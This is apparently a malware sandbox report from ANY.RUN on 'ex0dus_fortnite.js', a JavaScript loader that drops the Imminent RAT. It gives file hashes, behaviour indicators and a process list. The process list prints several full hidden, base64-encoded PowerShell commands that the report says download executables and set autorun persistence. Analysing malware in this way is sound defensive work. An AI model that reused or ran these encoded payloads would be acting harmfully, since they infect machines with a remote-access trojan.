analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

ex0dus_fortnite.js

Full analysis: https://app.any.run/tasks/f73c70cc-ce17-4523-ae09-d17265ffcc67
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 14, 2018, 12:02:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
rat
imminent
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with no line terminators
MD5:

6B0CF5F1B399091BA358326EE568410E

SHA1:

932E2CCDB5D9B28604E865A09E262BEFCF915273

SHA256:

2F3CE25ABFDECC9EEA6C70CD8C2A797442D1A3E4ECABB3EEDCBCFA95AF6E8645

SSDEEP:

192:W2zAOC8QJPeTpH6jdjBO3axG62eQM4A96Tdi/Q6G8RVLo:FsBQaMF29Yd96G2c

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2556)

    • Application was dropped or rewritten from another process

      • svchost.exe (PID: 3944)
      • tmp.exe (PID: 3224)
      • .exe (PID: 1612)

    • Runs app for hidden code execution

      • svchost.exe (PID: 3944)

    • Downloads executable files from IP

      • powershell.exe (PID: 2764)

    • Changes the autorun value in the registry

      • reg.exe (PID: 2588)

    • Detected Imminent RAT

      • tmp.exe (PID: 3224)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2764)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2232)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 3164)
      • powershell.exe (PID: 1728)
      • powershell.exe (PID: 2420)
      • powershell.exe (PID: 4028)
      • powershell.exe (PID: 2764)
      • tmp.exe (PID: 3224)

    • Executes PowerShell scripts

      • WScript.exe (PID: 3096)
      • WScript.exe (PID: 2608)
      • WScript.exe (PID: 2772)

    • Executes scripts

      • powershell.exe (PID: 3164)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 1728)
      • WScript.exe (PID: 2536)
      • powershell.exe (PID: 2232)
      • cmd.exe (PID: 2372)

    • Application launched itself

      • WScript.exe (PID: 2536)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2420)
      • WScript.exe (PID: 2672)
      • svchost.exe (PID: 3944)

    • Creates executable files which already exist in Windows

      • powershell.exe (PID: 2764)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2764)
      • cmd.exe (PID: 3416)
      • svchost.exe (PID: 3944)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3416)

    • Connects to unusual port

      • tmp.exe (PID: 3224)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
74
Monitored processes
26
Malicious processes
12
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start wscript.exe no specs powershell.exe powershell.exe powershell.exe powershell.exe wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe powershell.exe cmd.exe no specs cacls.exe no specs wscript.exe no specs cmd.exe cacls.exe no specs powershell.exe no specs powershell.exe svchost.exe cmd.exe reg.exe #IMMINENT tmp.exe .exe no specs cmd.exe no specs timeout.exe no specs wmiapsrv.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3096"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\ex0dus_fortnite.js"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2232"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc aQBuAHYAbwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADYAMwB9AHsANAAyAH0AewAxADIAfQB7ADcANgB9AHsAMgA0AH0AewAzAH0AewAxADEAOAB9AHsAMgB9AHsAMQAyAH0AewA1AH0AewA0AH0AewAzADYAfQB7ADIAOAB9AHsANQA4AH0AewAyADcAfQB7ADQAfQB7ADEAMgB9AHsAMgAxAH0AewA2AH0AewAzADkAfQB7ADEAMgB9AHsANAB9AHsANgB9AHsAMQAwADAAfQB7ADEAMgB9AHsAMQAxADgAfQB7ADUAOQB9AHsANQAyAH0AewAxADIAMQB9AHsAMQAyAH0AewA0ADIAfQB7ADQAfQB7ADgAOQB9AHsANgB9AHsAMwAxAH0AewAzAH0AewA3ADYAfQB7ADQAMgB9AHsANQAyAH0AewAzAH0AewAyADIAfQB7ADcAMgB9AHsAMQAwADIAfQB7ADEAMgAxAH0AewA1ADIAfQB7ADEAMgB9AHsANgAzAH0AewA0ADQAfQB7ADEAMAB9AHsANAB9AHsANAB9AHsANAAwAH0AewAwAH0AewAxADEAfQB7ADEAMQB9AHsAMQAyADAAfQB7ADMANQB9AHsAMwA1AH0AewA2AH0AewA4ADgAfQB7ADgAOAB9AHsANgB9AHsAMwA1AH0AewAyADMAfQB7ADYAfQB7ADMANAB9AHsAMgAzAH0AewAxADEAfQB7ADIANwB9AHsAMwAzAH0AewA1AH0AewAxADAAfQB7ADMAfQB7ADIANwB9AHsANAB9AHsANgB9AHsAMgB9AHsAMgA3AH0AewA0ADQAfQB7ADgAfQB7ADMANgB9AHsANwA5AH0AewAxADIAfQB7ADQAMgB9AHsAMwAzAH0AewAwAH0AewAzADgAfQB7ADYAMgB9AHsAMgA2AH0AewAxADcAfQB7ADMANgB9AHsANgA3AH0AewAzADYAfQB7ADQANAB9AHsANwB9AHsAMgA3AH0AewAzADMAfQB7ADUAfQB7ADEAMAB9AHsAMwB9AHsAMgA3AH0AewA0AH0AewA2AH0AewAyAH0AewAyADcAfQB7ADQANAB9AHsAOAA5AH0AewAxAH0AewAyADgAfQB7ADQAfQB7ADIAMgB9AHsANQAwAH0AewA0AH0AewAyADQAfQB7ADEANwB9AHsANQAwAH0AewAzAH0AewA1AH0AewAxADIAfQB7ADIANwB9AHsAMgA3AH0AewA2ADMAfQB7ADcAOQB9AHsAMQAyAH0AewA0ADIAfQB7ADMAMwB9AHsAMAB9AHsAMwA4AH0AewA2ADIAfQB7ADIANgB9AHsAMQA3AH0AewAzADYAfQB7ADYANwB9AHsAMwA2AH0AewA0ADQAfQB7ADcAfQB7ADIANwB9AHsAMwAzAH0AewA1AH0AewAxADAAfQB7ADMAfQB7ADIANwB9AHsANAB9AHsANgB9AHsAMgB9AHsAMgA3AH0AewA0ADQAfQB7ADgAOQB9AHsAMQB9ACIAIAAtAGYAIAAiADoAIgAsACIAOwAiACwAIgBqACIALAAiAG8AIgAsACIAdAAiACwAIgBjACIALAAiAC4AIgAsACIAXAAiACwAIgAsACIALAAiAGoAIgAsACIAaAAiACwAIgAvACIALAAiAGUAIgAsACIAZQAiACwAIgAuACIALAAiAGgAIgAsACIAZQAiACwAIgBQACIALAAiAGUAIgAsACIALgAiACwAIgB0ACIALAAiAG0AIgAsACIAYQAiACwAIgAzACIALAAiAC0AIgAsACIAdAAiACwAIgBNACIALAAiAHMAIgAsACIAUwAiACwAIgBjACIALAAiAC4AIgAsACIARAAiACwAIgAuACIALAAiAHYAIgAsACIAMgAiACwAIgA5ACIALAAiACAAIgAsACIAdgAiACwAIgBUACIALAAiAE4AIgAsACIAcAAiACwAIgB0ACIALAAiAG4AIgAsACIAdAAiACwAIgAnACIALAAiAFAAIgAsACIAOQAiACwAIgBzACIALAAiADsAIgAsACIAaAAiACwAIgByACIALAAiACAAIgAsACIAbAAiACwAIgAvACIALAAiAG8AIgAsACIAIAAiACwAIgBuACIALAAiAHQAIgAsACIAeQAiACwAIgBDACIALAAiACIALAAiADkAIgAsACIARQAiACwAIgAoACIALAAiAHMAIgAsACIAcwAiACwAIgBlACIALAAiACsAIgAsACIAJwAiACwAIgB0ACIALAAiAGwAIgAsACIALgAiACwAIgBkACIALAAiAGUAIgAsACIAZQAiACwAIgBzACIALAAiAHcAIgAsACIAcgAiACwAIgB2ACIALAAiACQAIgAsACIAOgAiACwAIgB0ACIALAAiACgAIgAsACIAKAAiACwAIgBzACIALAAiAC4AIgAsACIAYwAiACwAIgBcACIALAAiADYAIgAsACIAKQAiACwAIgBqACIALAAiAHMAIgAsACIAIAAiACwAIgBlACIALAAiACkAIgAsACIAbwAiACwAIgB0ACIALAAiAG8AIgAsACIAaAAiACwAIgAgACIALAAiAFcAIgAsACIAKQAiACwAIgBGACIALAAiAE0AIgAsACIAJAAiACwAIgBvACIALAAiADoAIgAsACIAJwAiACwAIgBzACIALAAiAHcAIgAsACIAZQAiACwAIgAnACIALAAiAHMAIgAsACIAbAAiACwAIgBvACIALAAiAGUAIgAsACIAagAiACwAIgAvACIALAAiAGIAIgAsACIAYQAiACwAIgAxACIALAAiAGkAIgAsACIAbwAiACwAIgAnACIALAAiACAAIgAsACIAcwAiACwAIgBpACIALAAiADMAIgAsACIARQAiACwAIgB2ACIALAAiAFAAIgAsACIAbgAiACwAIgAuACIALAAiAG4AIgAsACIAYwAiACwAIgB0ACIALAAiAHQAIgAsACIAKwAiACwAIgBjACIALAAiAC0AIgAsACIAYgAiACwAIgAuACIALAAiAG4AIgAsACIAdgAiACwAIgBTACIALAAiAHMAIgAsACIAVAAiACwAIgAnACIALAAiADYAIgAsACIAcwAiACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2484"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc aQBuAHYAbwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADMAMwB9AHsAOQB9AHsANgB9AHsANgAyAH0AewA1ADYAfQB7ADEANwB9AHsAMAB9AHsAMgA5AH0AewA2AH0AewAzAH0AewAxADYAfQB7ADIANwB9AHsAMQAzAH0AewAxADEAfQB7ADcAfQB7ADEANgB9AHsANgB9AHsANAA4AH0AewAyAH0AewAxADQAOQB9AHsANgB9AHsAMQA2AH0AewAyAH0AewAxADMAMgB9AHsANgB9AHsAMAB9AHsANQB9AHsAMwAwAH0AewA0ADUAfQB7ADYAfQB7ADkAfQB7ADEANgB9AHsAMgAxAH0AewAyAH0AewA1ADAAfQB7ADEANwB9AHsANgAyAH0AewA5AH0AewAzADAAfQB7ADEANwB9AHsANwA0AH0AewAzADQAfQB7ADEANQAzAH0AewA0ADUAfQB7ADMAMAB9AHsANgB9AHsAMwAzAH0AewAxADUAfQB7ADEAMwAzAH0AewAxADYAfQB7ADEANgB9AHsANwAzAH0AewA2ADUAfQB7ADEANAB9AHsAMQA0AH0AewAxADUAMAB9AHsAMQAwAH0AewAxADAAfQB7ADIAfQB7ADEAMAA0AH0AewAxADAANAB9AHsAMgB9AHsAMQAwAH0AewA5ADAAfQB7ADIAfQB7ADEAMwA3AH0AewA5ADAAfQB7ADEANAB9AHsANgB9AHsANwAxAH0AewAzAH0AewAzADAAfQB7ADEAfQB7ADcAfQB7ADQANQB9AHsAMQA3AH0AewA5AH0AewAyAH0AewAyADkAfQB7ADcAfQB7ADEANQB9AHsAMgA2AH0AewAyADcAfQB7ADEAMgB9AHsANgB9AHsAOQB9AHsANAB9AHsANgA1AH0AewA5ADcAfQB7ADkANAB9AHsANAA2AH0AewAyADIAfQB7ADIANwB9AHsAMwA5AH0AewAyADcAfQB7ADEANQB9AHsAMwA1AH0AewA2AH0AewA3ADEAfQB7ADMAfQB7ADMAMAB9AHsAMQB9AHsANwB9AHsANAA1AH0AewAxADcAfQB7ADkAfQB7ADIAfQB7ADIAOQB9AHsANwB9AHsAMQA1AH0AewAyADEAfQB7ADkAMgB9AHsAMQAzAH0AewAxADYAfQB7ADcANAB9AHsANAAxAH0AewAxADYAfQB7ADUANgB9AHsAMgAyAH0AewA0ADEAfQB7ADEANwB9AHsAMwB9AHsANgB9AHsANwB9AHsANwB9AHsAMwAzAH0AewAxADIAfQB7ADYAfQB7ADkAfQB7ADQAfQB7ADYANQB9AHsAOQA3AH0AewA5ADQAfQB7ADQANgB9AHsAMgAyAH0AewAyADcAfQB7ADMAOQB9AHsAMgA3AH0AewAxADUAfQB7ADMANQB9AHsANgB9AHsANwAxAH0AewAzAH0AewAzADAAfQB7ADEAfQB7ADcAfQB7ADQANQB9AHsAMQA3AH0AewA5AH0AewAyAH0AewAyADkAfQB7ADcAfQB7ADEANQB9AHsAMgAxAH0AewA5ADIAfQAiACAALQBmACAAIgBiACIALAAiAHUAIgAsACIALgAiACwAIgBjACIALAAiAHYAIgAsACIAQwAiACwAIgBlACIALAAiAHMAIgAsACIAIgAsACIAbgAiACwAIgA5ACIALAAiAHkAIgAsACIAJAAiACwAIgBTACIALAAiAC8AIgAsACIAJwAiACwAIgB0ACIALAAiAG8AIgAsACIAcwAiACwAIgB0ACIALAAiAG8AIgAsACIAKQAiACwAIgBQACIALAAiAHYAIgAsACIAJwAiACwAIgBuACIALAAiACwAIgAsACIAIAAiACwAIgBlACIALAAiAGoAIgAsACIAbAAiACwAIgBqACIALAAiAHQAIgAsACIAKAAiACwAIgBkACIALAAiAFwAIgAsACIAbwAiACwAIgBlACIALAAiAGMAIgAsACIAKwAiACwAIgBTACIALAAiAHIAIgAsACIAIAAiACwAIgBsACIALAAiACkAIgAsACIAaQAiACwAIgBNACIALAAiAHMAIgAsACIAbQAiACwAIgBzACIALAAiAEQAIgAsACIALgAiACwAIgAgACIALAAiAGoAIgAsACIAcgAiACwAIgA5ACIALAAiAC0AIgAsACIALwAiACwAIgAuACIALAAiAC4AIgAsACIAIAAiACwAIgAvACIALAAiAHcAIgAsACIAJwAiACwAIgBuACIALAAiADoAIgAsACIAdwAiACwAIgBjACIALAAiAGMAIgAsACIAXAAiACwAIgBQACIALAAiAHgAIgAsACIAdQAiACwAIgBwACIALAAiAGEAIgAsACIAdAAiACwAIgAkACIALAAiAHMAIgAsACIALgAiACwAIgBuACIALAAiAGIAIgAsACIAagAiACwAIgBuACIALAAiAGUAIgAsACIAeAAiACwAIgAoACIALAAiAGUAIgAsACIAIAAiACwAIgBvACIALAAiAHUAIgAsACIAMwAiACwAIgBuACIALAAiADsAIgAsACIAbwAiACwAIgBFACIALAAiACcAIgAsACIAcwAiACwAIgBUACIALAAiAGwAIgAsACIARQAiACwAIgA5ACIALAAiAG8AIgAsACIAdAAiACwAIgBsACIALAAiADYAIgAsACIAZQAiACwAIgBlACIALAAiAHMAIgAsACIAIAAiACwAIgAuACIALAAiACkAIgAsACIAYwAiACwAIgArACIALAAiAGUAIgAsACIAYQAiACwAIgBuACIALAAiAGUAIgAsACIAJwAiACwAIgBzACIALAAiACcAIgAsACIAdAAiACwAIgAuACIALAAiAGwAIgAsACIALgAiACwAIgBvACIALAAiAGkAIgAsACIAcwAiACwAIgBpACIALAAiADMAIgAsACIAbAAiACwAIgBuACIALAAiAGUAIgAsACIAVwAiACwAIgBoACIALAAiADoAIgAsACIAdAAiACwAIgBNACIALAAiADIAIgAsACIAUAAiACwAIgBlACIALAAiADYAIgAsACIAOgAiACwAIgBpACIALAAiAGUAIgAsACIAKAAiACwAIgB4ACIALAAiAGUAIgAsACIAdAAiACwAIgAuACIALAAiAE4AIgAsACIAMQAiACwAIgBpACIALAAiAC0AIgAsACIARgAiACwAIgA7ACIALAAiAFQAIgApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1728"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc aQBuAHYAbwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADUANAB9AHsANQB9AHsANQAwAH0AewA3AH0AewA0ADkAfQB7ADEANgB9AHsAMAB9AHsAMQB9AHsANQAwAH0AewAxADIAMQB9AHsAMwB9AHsAMQAyAH0AewA1ADMAfQB7ADYAMQB9AHsAOAB9AHsAMwB9AHsANQAwAH0AewA1ADIAfQB7ADIAfQB7ADkAMQB9AHsANQAwAH0AewAzAH0AewAyAH0AewAxADAAOAB9AHsANQAwAH0AewAwAH0AewA3ADYAfQB7ADIAMwB9AHsAMgA0AH0AewA1ADAAfQB7ADUAfQB7ADMAfQB7ADkAfQB7ADIAfQB7ADEAMgAzAH0AewAxADYAfQB7ADcAfQB7ADUAfQB7ADIAMwB9AHsAMQA2AH0AewAxADEAfQB7ADEAMgAyAH0AewAyADUAfQB7ADIANAB9AHsAMgAzAH0AewA1ADAAfQB7ADUANAB9AHsAMwA4AH0AewAxADEANQB9AHsAMwB9AHsAMwB9AHsAMQAzADIAfQB7ADEAOAB9AHsANAB9AHsANAB9AHsAMgAwAH0AewA4ADQAfQB7ADgANAB9AHsAMgB9AHsAMQA0AH0AewAxADQAfQB7ADIAfQB7ADgANAB9AHsAOAA5AH0AewAyAH0AewA0ADEAfQB7ADgAOQB9AHsANAB9AHsAMgAwAH0AewAyAH0AewAxADcAfQB7ADAAfQB7ADgAfQB7ADMAOAB9AHsAOAA3AH0AewAxADIAfQB7ADcAOQB9AHsANQAwAH0AewA1AH0AewAxADcAfQB7ADEAOAB9AHsAMwAwAH0AewAxADAAOQB9AHsAMgA3AH0AewA1ADYAfQB7ADEAMgB9AHsANgAwAH0AewAxADIAfQB7ADMAOAB9AHsANAA0AH0AewAyADAAfQB7ADIAfQB7ADEANwB9AHsAMAB9AHsAOAB9AHsAMwA4AH0AewA5AH0AewA5ADQAfQB7ADUAMwB9AHsAMwB9AHsAMQAxAH0AewA0ADcAfQB7ADMAfQB7ADQAOQB9AHsANQA2AH0AewA0ADcAfQB7ADEANgB9AHsAMQAyADEAfQB7ADUAMAB9AHsAOAB9AHsAOAB9AHsANQA0AH0AewA3ADkAfQB7ADUAMAB9AHsANQB9AHsAMQA3AH0AewAxADgAfQB7ADMAMAB9AHsAMQAwADkAfQB7ADIANwB9AHsANQA2AH0AewAxADIAfQB7ADYAMAB9AHsAMQAyAH0AewAzADgAfQB7ADQANAB9AHsAMgAwAH0AewAyAH0AewAxADcAfQB7ADAAfQB7ADgAfQB7ADMAOAB9AHsAOQB9AHsAOQA0AH0AIgAgAC0AZgAgACIAYgAiACwAIgBqACIALAAiAC4AIgAsACIAdAAiACwAIgAvACIALAAiAG4AIgAsACIALgAiACwAIgB3ACIALAAiAHMAIgAsACIAKQAiACwAIgB0ACIALAAiAGEAIgAsACIAIAAiACwAIgAuACIALAAiADYAIgAsACIAYgAiACwAIgBvACIALAAiAHYAIgAsACIAOgAiACwAIgBzACIALAAiADEAIgAsACIAYQAiACwAIgAuACIALAAiAGwAIgAsACIAaQAiACwAIgBGACIALAAiAC4AIgAsACIATQAiACwAIgA6ACIALAAiAE0AIgAsACIAVAAiACwAIgBuACIALAAiACIALAAiADYAIgAsACIALgAiACwAIgBzACIALAAiAG4AIgAsACIAbwAiACwAIgAnACIALAAiACkAIgAsACIAbwAiACwAIgAyACIALAAiAHQAIgAsACIAYgAiACwAIgBcACIALAAiADEAIgAsACIAJwAiACwAIgByACIALAAiAHMAIgAsACIALQAiACwAIgBlACIALAAiAHYAIgAsACIAbQAiACwAIgBTACIALAAiACgAIgAsACIAXAAiACwAIgBQACIALAAiAGUAIgAsACIAMQAiACwAIgA6ACIALAAiACsAIgAsACIAeQAiACwAIgAoACIALAAiAG4AIgAsACIAdAAiACwAIgAtACIALAAiAHQAIgAsACIAbgAiACwAIgBlACIALAAiACkAIgAsACIAUAAiACwAIgAnACIALAAiAGUAIgAsACIAUAAiACwAIgBUACIALAAiAHQAIgAsACIAQwAiACwAIgBsACIALAAiADEAIgAsACIAJAAiACwAIgAnACIALAAiACQAIgAsACIAIAAiACwAIgBlACIALAAiADkAIgAsACIAOQAiACwAIgB2ACIALAAiACwAIgAsACIAZQAiACwAIgAzACIALAAiACcAIgAsACIATgAiACwAIgBTACIALAAiAC4AIgAsACIAOwAiACwAIgBlACIALAAiAC4AIgAsACIAdwAiACwAIgBzACIALAAiACAAIgAsACIAIAAiACwAIgA5ACIALAAiACgAIgAsACIAIAAiACwAIgBvACIALAAiAGIAIgAsACIAZQAiACwAIgAuACIALAAiAFcAIgAsACIARQAiACwAIgBlACIALAAiADsAIgAsACIAbAAiACwAIgAvACIALAAiAC8AIgAsACIAaAAiACwAIgAgACIALAAiAHYAIgAsACIAaQAiACwAIgB0ACIALAAiADMAIgAsACIAYwAiACwAIgBkACIALAAiAEQAIgAsACIAcgAiACwAIgAnACIALAAiACsAIgAsACIAYwAiACwAIgBiACIALAAiAHQAIgAsACIAZQAiACwAIgBzACIALAAiAHAAIgAsACIAdgAiACwAIgBFACIAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3164"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc aQBuAHYAbwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADUANAB9AHsAMgA1AH0AewA4AH0AewAxADUAfQB7ADYAMgB9AHsANQA4AH0AewA5ADAAfQB7ADMANwB9AHsAOAB9AHsAMQAzADkAfQB7ADEAMgB9AHsAMAB9AHsAMgA3AH0AewAzAH0AewAxADAAfQB7ADEAMgB9AHsAOAB9AHsANwAyAH0AewA2AH0AewAyAH0AewA4AH0AewAxADIAfQB7ADYAfQB7ADQAOAB9AHsAOAB9AHsAOQAwAH0AewA0ADYAfQB7ADMAMAB9AHsAMwAzAH0AewA4AH0AewAyADUAfQB7ADEAMgB9AHsAMgA5AH0AewA2AH0AewAzADgAfQB7ADUAOAB9AHsAMQA1AH0AewAyADUAfQB7ADMAMAB9AHsANQA4AH0AewAzADQAfQB7ADEAMwA4AH0AewAxADEAfQB7ADMAMwB9AHsAMwAwAH0AewA4AH0AewA1ADQAfQB7ADEAfQB7ADEANAA5AH0AewAxADIAfQB7ADEAMgB9AHsANgA2AH0AewAyADMAfQB7ADUAfQB7ADUAfQB7ADEAMwAyAH0AewA3AH0AewA3AH0AewA2AH0AewAzADIAfQB7ADMAMgB9AHsANgB9AHsANwB9AHsAOQB9AHsANgB9AHsAMQAxADUAfQB7ADkAfQB7ADUAfQB7ADEAMAB9AHsAMwB9AHsAMQAwAH0AewAzADMAfQB7ADIANQB9AHsAMQAyAH0AewA4AH0AewAxADYAfQB7ADEANgB9AHsAOAAzAH0AewA2ADYAfQB7ADEAMgB9AHsAMQAwAH0AewA2AH0AewAzADcAfQB7ADEAMAB9AHsAMQB9AHsAMQA1ADIAfQB7ADAAfQB7ADQAMgB9AHsAOAB9AHsAMgA1AH0AewA1ADkAfQB7ADIAMwB9AHsANQA2AH0AewAyADEAfQB7ADYANQB9AHsANQA1AH0AewAwAH0AewA0AH0AewAwAH0AewAxAH0AewA4ADgAfQB7ADEAMAB9AHsAMwB9AHsAMQAwAH0AewAzADMAfQB7ADIANQB9AHsAMQAyAH0AewA4AH0AewAxADYAfQB7ADEANgB9AHsAOAAzAH0AewA2ADYAfQB7ADEAMgB9AHsAMQAwAH0AewA2AH0AewAzADcAfQB7ADEAMAB9AHsAMQB9AHsAMgA5AH0AewAxADAAMwB9AHsAMgA3AH0AewAxADIAfQB7ADMANAB9AHsAMQA2AH0AewAxADIAfQB7ADYAMgB9AHsANQA1AH0AewAxADYAfQB7ADUAOAB9AHsAMQAzADkAfQB7ADgAfQB7ADEAMAB9AHsAMQAwAH0AewA1ADQAfQB7ADQAMgB9AHsAOAB9AHsAMgA1AH0AewA1ADkAfQB7ADIAMwB9AHsANQA2AH0AewAyADEAfQB7ADYANQB9AHsANQA1AH0AewAwAH0AewA0AH0AewAwAH0AewAxAH0AewA4ADgAfQB7ADEAMAB9AHsAMwB9AHsAMQAwAH0AewAzADMAfQB7ADIANQB9AHsAMQAyAH0AewA4AH0AewAxADYAfQB7ADEANgB9AHsAOAAzAH0AewA2ADYAfQB7ADEAMgB9AHsAMQAwAH0AewA2AH0AewAzADcAfQB7ADEAMAB9AHsAMQB9AHsAMgA5AH0AewAxADAAMwB9ACIAIAAtAGYAIAAiACAAIgAsACIAJwAiACwAIgBOACIALAAiAHkAIgAsACIAKwAiACwAIgAvACIALAAiAC4AIgAsACIAOQAiACwAIgBlACIALAAiADMAIgAsACIAcwAiACwAIgBGACIALAAiAHQAIgAsACIAdAAiACwAIgAiACwAIgB3ACIALAAiAHIAIgAsACIALwAiACwAIgAuACIALAAiACAAIgAsACIAcgAiACwAIgBFACIALAAiAC4AIgAsACIAOgAiACwAIgBlACIALAAiAG4AIgAsACIAbgAiACwAIgBTACIALAAiAGUAIgAsACIAKQAiACwAIgBsACIALAAiAGUAIgAsACIANgAiACwAIgBpACIALAAiAGEAIgAsACIAcwAiACwAIgBzACIALAAiAGoAIgAsACIARAAiACwAIgByACIALAAiACcAIgAsACIAdAAiACwAIgAkACIALAAiADkAIgAsACIAcgAiACwAIgBlACIALAAiAEMAIgAsACIAagAiACwAIgBXACIALAAiAGEAIgAsACIALgAiACwAIgBzACIALAAiADoAIgAsACIAbAAiACwAIgAoACIALAAiAFAAIgAsACIAVAAiACwAIgB0ACIALAAiAG8AIgAsACIAdgAiACwAIgAuACIALAAiAFAAIgAsACIALQAiACwAIgBqACIALAAiAGwAIgAsACIATQAiACwAIgBwACIALAAiAC4AIgAsACIAZQAiACwAIgByACIALAAiAFMAIgAsACIAdAAiACwAIgBtACIALAAiAG8AIgAsACIAcwAiACwAIgB0ACIALAAiAG8AIgAsACIAcwAiACwAIgAuACIALAAiADkAIgAsACIAdAAiACwAIgB0ACIALAAiAG4AIgAsACIAdQAiACwAIgBpACIALAAiAHMAIgAsACIAcwAiACwAIgAnACIALAAiAFwAIgAsACIAcAAiACwAIgBiACIALAAiAHMAIgAsACIAcwAiACwAIgB0ACIALAAiADYAIgAsACIAKQAiACwAIgAnACIALAAiACAAIgAsACIAcAAiACwAIgAzACIALAAiAHQAIgAsACIAKAAiACwAIgB5ACIALAAiADsAIgAsACIALQAiACwAIgBzACIALAAiADsAIgAsACIAKQAiACwAIgB0ACIALAAiAHQAIgAsACIALgAiACwAIgByACIALAAiAGoAIgAsACIAcwAiACwAIgBNACIALAAiADIAIgAsACIAdwAiACwAIgBwACIALAAiACAAIgAsACIAcwAiACwAIgAuACIALAAiAHUAIgAsACIAcgAiACwAIgB0ACIALAAiAHUAIgAsACIAbgAiACwAIgBuACIALAAiAGUAIgAsACIAbgAiACwAIgBpACIALAAiACAAIgAsACIAZQAiACwAIgAxACIALAAiACcAIgAsACIAOgAiACwAIgBFACIALAAiAFQAIgAsACIAXAAiACwAIgBkACIALAAiAGMAIgAsACIAJwAiACwAIgByACIALAAiAG4AIgAsACIAIAAiACwAIgBlACIALAAiAGkAIgAsACIAcwAiACwAIgB2ACIALAAiACQAIgAsACIAaAAiACwAIgBlACIALAAiAHkAIgAsACIALAAiACwAIgBuACIALAAiAG8AIgAsACIAYgAiACwAIgBzACIALAAiAHQAIgAsACIAeQAiACwAIgAoACIALAAiAGMAIgAsACIAKwAiACwAIgBlACIALAAiAFAAIgAsACIALwAiACwAIgBpACIALAAiAGUAIgAsACIAZQAiACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2536"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\1.vbs" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3904"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\sysinterrupts.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.8.7600.16385
2608"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\exclusion.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2772"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\svchost.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2916"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\1.vbs" "/admin"C:\Windows\System32\WScript.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Total events
4 993
